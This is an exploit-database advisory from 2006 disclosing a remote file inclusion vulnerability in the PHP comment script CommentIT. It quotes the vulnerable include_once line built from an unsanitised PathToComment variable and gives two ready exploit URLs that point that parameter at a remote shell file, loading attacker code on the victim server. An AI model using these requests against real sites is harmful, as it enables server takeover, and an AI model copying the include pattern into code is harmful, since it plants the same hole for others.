CommentIT (PathToComment) Remote File Include Vulnerabilities

2006-10-25T00:00:00
ID 1337DAY-ID-1063
Type zdt
Reporter Cold Zero
Modified 2006-10-25T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =============================================================
CommentIT (PathToComment) Remote File Include Vulnerabilities
=============================================================



Comment IT  (class_admin.php , class_comments.php)  Remot File Include Vulnerability

Found By : CoLd Zero  [ Wasem898 ]

Palestine Muslim Hacker's

######################################################
#
#           [ Comment IT ]
#
# Class:     File Include Vulnerability
# Published  2006-10-24
# Remote:    Yes
# Critical   Level : Dangerous
# Author:    Cold Zero
#
######################################################

file's ;

class_admin.php
class_comments.php
======================================================
Vuln Code

include_once ($PathToComment."/classes/class_db.php");

=======================================================

Exploit :

Http:// www.Victem.0 / [Comment IT_path] /classes/class_admin.php?PathToComment=http://ColdZero-Shell.txt

Http:// www.Victem.0 / [Comment IT_path] /classes/class_comments.php?PathToComment=http://ColdZero-Shell.txt



----  Thanx: [MoHaNdKo] [Cold ThreE] [Viper Hacker] [The Wolf KSA] ]organza[


--------------------------------------||  Viva Palestine ||-----------------------------------------



#  0day.today [2018-04-14]  #